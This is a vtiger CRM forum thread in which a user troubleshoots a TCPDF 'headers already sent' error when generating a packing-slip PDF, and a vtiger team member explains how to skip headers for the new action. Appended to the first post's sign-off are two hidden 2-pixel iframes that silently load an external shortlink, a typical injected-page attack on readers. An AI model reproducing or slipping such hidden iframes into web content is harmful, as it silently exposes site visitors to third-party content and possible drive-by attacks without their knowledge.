TCPDF error when generating a PDF document

Hi Community,

I have a weird issue.

Just before I begin my problem description I would like to mention this that this error is not seen on my test server which is WAMP on vista business. The problem is only seen on the production environment where the same files are hosted under Windows 2003 Server + IIS + PHP5.

Under the detail view of invoice, I have created another Tool to generate a Packing Slip PDF file. The invoice pdf is generated just fine, but the moment I click to generate a packing slip pdf, the page loads up the vtiger header and displays the following error text

Warning: Cannot modify header information - headers already sent by (output started at <rootdir>\Smarty\templates_c\%%B8^B8A^B8AE4258%%Header.tpl.php:102) in <rootdir>\include\tcpdf\tcpdf.php on line 3633
TCPDF error: Some data has already been output to browser, can't send PDF file

I have checked both files and I don't see any data being output. My image logo is 300x63 which is within the limits of that specified via PDF Configurator (300x70).

The funny part is the same files work on my test server without any hitch but fail to work when they are hosted in the production environment.

Also, before I output the pdf file in pdfcreator.php under the invoice module, if I put in ob_clean() or ob_end_clean(), the pdf file is not generated but yes the above TCPDF error is not seen.

The TCPDF version is 4.6.003 on both the test and production servers.

any clues ??

thanks <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 17 Comments sorted by Votes Date Added
  • pushing this post higher....anyone...anyclues ???
  • warning: cannot modify header information - headers already sent by (output started at <rootdir>\smarty\templates_c\%%b8^b8a^b8ae4258%%header.tpl.php:102) in <rootdir>\include\tcpdf\tcpdf.php on line 3633
    tcpdf error: some data has already been output to browser, can't send pdf file

    one reason could be extra spaces or line-ending in config.inc.php (after ?>) please check.

    regards,
    prasad
    vtiger team
  • thanks prasad.

    but i have already removed any extra whitespace in config.inc.php, pdfcreator.php, body.php, header.php, pdf language and the global language file.

    i'm just puzzled by this problem because the exact identical files work on my test server but fail to work when hosted from the windows environment - iis + php.

    wondering if iis is causing a issue here...

    any other stuff you can think off ???
  • not sure what is the exact cause, do check the source output.

    try to view the source of page output from the browser (view > source code) and see if there is any blank spaces or new lines.

    i have attached a screenshot when there was a new line in one of the php file.

    if you can willing to share access to server we could help you. send me a pm in that case.

    regards,
    prasad
    vtiger team
  • thanks prasad. appreciate it.

    i was able to solve the problem eventually. basically on the detail view of an invoice on the righ i had added another link - packing slip.

    now the invoice pdf using the pdf configurator was calling a file createpdf.php from the invoice folder. so for the packing slip action tool, i had it calling createsnpdf.php. now this worked just fine on my test environment but not when the same files were in the hosted production environment.

    while testing and isolating the problem i realised that the problem is not related to any whitespace or internal coding but infact in the name of the file. so as soon as i renamed createsnpdf.php to createpdf2.php. the packing slip pdf is now generated.

    i'm still trying to figure out why createsnpdf.php was not accepted and createpdf2.php was accepted.

    createpdf & createpdf2 are the files which call the actual pdf creation function coded in pdfcreator.php. the only different between the calls is that createpdf mentions purpose as 'print' that means material for invoice will be printed into the pdf linked with the action tool - invoice pdf and the createpdf2 mentions purpose as 'printsn' (print shipping note) which will only print the relevant data into the packing slip pdf when the packing slip action tool is printed.

    if you understand the reason why createsnpdf.php did not work ? could you please be kind enough to share with me ? maybe there's some code deep within which is monitoring this.....i'm still puzzled....

    thanks
  • you will need to skip sending headers and footers for the action createsnpdf, check how its being done for createpdf in index.php. this should help you.

    regards,
    prasad
    vtiger team
  • thanks prasad. that explains the issue and provides the solution. not sure how i missed that but anyways thank you for help.

    appreciate it.
  • hi i am new to vtiger, i also get
    tcpdf error: some data has already been output, can't send pdf file
    and i do not get how you solved the problem from your explanation, could you give detailed explanation? by the way i use vtiger 5.1 <!-- s:roll: --><img src="{smilies_path}/icon_rolleyes.gif" alt=":roll:" title="rolling eyes" /><!-- s:roll: -->
  • hi i am new to vtiger, i also get
    tcpdf error: some data has already been output, can't send pdf file
    and i do not get how you solved the problem from your explanation, could you give detailed explanation? by the way i use vtiger 5.1 <!-- s:roll: --><img src="{smilies_path}/icon_rolleyes.gif" alt=":roll:" title="rolling eyes" /><!-- s:roll: -->

    ok it seems it was issue with database, i made mistake while editing it. i deleted first table "crmnow_pdf_fields", and made it again, looks like it solved the problem.
Sign In or Register to comment.